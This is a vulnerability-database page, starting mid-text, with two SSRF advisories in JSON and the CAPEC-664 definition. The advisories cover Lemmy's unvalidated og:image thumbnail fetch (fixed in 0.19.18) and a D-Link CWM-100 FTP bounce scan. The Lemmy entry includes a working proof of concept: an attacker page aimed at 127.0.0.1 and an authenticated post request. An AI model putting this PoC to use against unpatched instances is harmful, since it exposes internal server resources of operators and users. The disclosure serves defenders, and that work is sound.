Because the vulnerable mode is the documented default behavior for link previews, the issue is relevant even without non-default privacy settings.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "lemmy_api_common"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.19.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42181"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-24T15:21:58Z",
    "nvd_published_at": "2026-05-08T20:16:31Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nLemmy fetches metadata for user-supplied post URLs and, under the default `StoreLinkPreviews` image mode, downloads the preview image through local pict-rs. While the top-level page URL is checked against internal IP ranges, the extracted `og:image` URL is not subject to the same restriction.\n\nAs a result, an authenticated low-privileged user can submit an attacker-controlled public page whose Open Graph image points to an internal image endpoint. Lemmy will fetch that internal image server-side and store a local thumbnail that can then be served back to users.\n\n### Details\nThe metadata fetch logic applies an internal-address check only to the initial post URL. After HTML parsing, `extract_opengraph_data()` accepts absolute `og:image` values and returns them as-is. Later, `generate_post_link_metadata()` passes that second-hop image URL into `generate_pictrs_thumbnail()`, which instructs local pict-rs to fetch it through `image/download?url=...`.\n\nThis creates a two-stage source-to-sink chain where the first URL is constrained, but the security boundary is bypassed through an unvalidated secondary resource.\n\nCore vulnerable code path:\n\n```rust\n// crates/api_common/src/request.rs\nlet metadata = match \u0026post.url {\n  Some(url) =\u003e fetch_link_metadata(url, \u0026context, false).await.unwrap_or_default(),\n  _ =\u003e Default::default(),\n};\n```\n\n```rust\n// crates/api_common/src/request.rs\nlet og_image = page\n  .opengraph\n  .images\n  .first()\n  .and_then(|ogo| url.join(\u0026ogo.url).ok());\n```\n\n```rust\n// crates/api_common/src/request.rs\nlet thumbnail_url = if let (true, Some(url)) = (allow_generate_thumbnail, image_url.clone()) {\n  generate_pictrs_thumbnail(\u0026url, \u0026context).await.ok().map(Into::into).or(image_url)\n} else {\n  image_url.clone()\n};\n```\n\n```rust\n// crates/api_common/src/request.rs\nlet fetch_url = format!(\n  \"{}image/download?url={}\u0026resize={}\",\n  pictrs_config.url,\n  encode(image_url.as_str()),\n  context.settings().pictrs_config()?.max_thumbnail_size\n);\n```\n\nThese snippets show that only the outer page URL is checked, while the extracted `og:image` value becomes a server-side fetch target without an equivalent internal-address guard.\n\n### PoC\nPrerequisites:\n\n- The attacker has a valid low-privileged account.\n- The instance uses the default link preview storage mode.\n- The attacker can post a link to a community they can access.\n\nPractical reproduction flow:\n\n1. Host a public HTML page under attacker control.\n2. Add an Open Graph image tag whose value points to an internal image URL reachable from the Lemmy host, such as `http://127.0.0.1:8081/internal.png`.\n3. Create a Lemmy post whose `url` is the attacker-controlled page.\n4. Observe Lemmy fetch the public page, extract `og:image`, and then fetch the internal image through pict-rs.\n5. Observe the created post receive a local thumbnail URL, demonstrating that the internal image was retrieved and cached.\n\nComplete PoC attacker page:\n\n```html\n\u003chtml\u003e\u003chead\u003e\n\u003cmeta property=\"og:image\" content=\"http://127.0.0.1:8081/internal.png\"\u003e\n\u003c/head\u003e\u003cbody\u003ex\u003c/body\u003e\u003c/html\u003e\n```\n\nComplete PoC request:\n\n```http\nPOST /api/v3/post HTTP/1.1\nHost: victim.example\nAuthorization: Bearer \u003clow-priv-jwt\u003e\nContent-Type: application/json\n\n{\n  \"name\": \"thumb-ssrf\",\n  \"community_id\": 1,\n  \"url\": \"https://attacker.example/og.html\",\n  \"body\": null,\n  \"alt_text\": null,\n  \"honeypot\": null,\n  \"nsfw\": false,\n  \"language_id\": null,\n  \"custom_thumbnail\": null\n}\n```\n\nOutcome:\n\n- The post creation request succeeds.\n- The internal image endpoint receives a request from the Lemmy server.\n- The created post is updated with a local `thumbnail_url`, indicating that the internal image was fetched and cached.\n\n### Impact\nThis issue upgrades an attacker-controlled external page into an internal image fetch primitive. It can be used to retrieve internal image resources, expose content that is otherwise reachable only from the application host, and publish those internal resources through Lemmy\u0027s own thumbnail serving path.\n\nBecause the vulnerable mode is the documented default behavior for link previews, the issue is relevant even without non-default privacy settings.",
  "id": "GHSA-h6hf-9846-xwrq",
  "modified": "2026-05-13T13:34:02Z",
  "published": "2026-04-24T15:21:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/LemmyNet/lemmy/security/advisories/GHSA-h6hf-9846-xwrq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42181"
    },
    {
      "type": "WEB",
      "url": "https://github.com/LemmyNet/lemmy/commit/9ffe586dafac1a46acf17edf90e0165e5503b2f1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/LemmyNet/lemmy"
    },
    {
      "type": "WEB",
      "url": "https://github.com/LemmyNet/lemmy/releases/tag/0.19.18"
    },
    {
      "type": "WEB",
      "url": "https://join-lemmy.org/news/2026-04-20_-_Lemmy_Release_v0.19.18"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Lemmy has SSRF and internal image disclosure in post link metadata via unvalidated og:image"
}

GHSA-H6PF-C244-8CHR

Vulnerability from github – Published: 2022-05-14 01:32 – Updated: 2022-05-14 01:32
VLAI
Details

The FTP service on D-Link Central WiFiManager CWM-100 1.03 r0098 devices allows remote attackers to conduct a PORT command bounce scan via port 8000, resulting in SSRF.

Severity
5.8 (Medium)
CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-15516"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-01-31T19:29:00Z",
    "severity": "MODERATE"
  },
  "details": "The FTP service on D-Link Central WiFiManager CWM-100 1.03 r0098 devices allows remote attackers to conduct a PORT command bounce scan via port 8000, resulting in SSRF.",
  "id": "GHSA-h6pf-c244-8chr",
  "modified": "2022-05-14T01:32:41Z",
  "published": "2022-05-14T01:32:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-15516"
    },
    {
      "type": "WEB",
      "url": "https://vimeo.com/299797225"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/150242/D-LINK-Central-WifiManager-CWM-100-1.03-r0098-Man-In-The-Middle.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2018/Nov/27"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list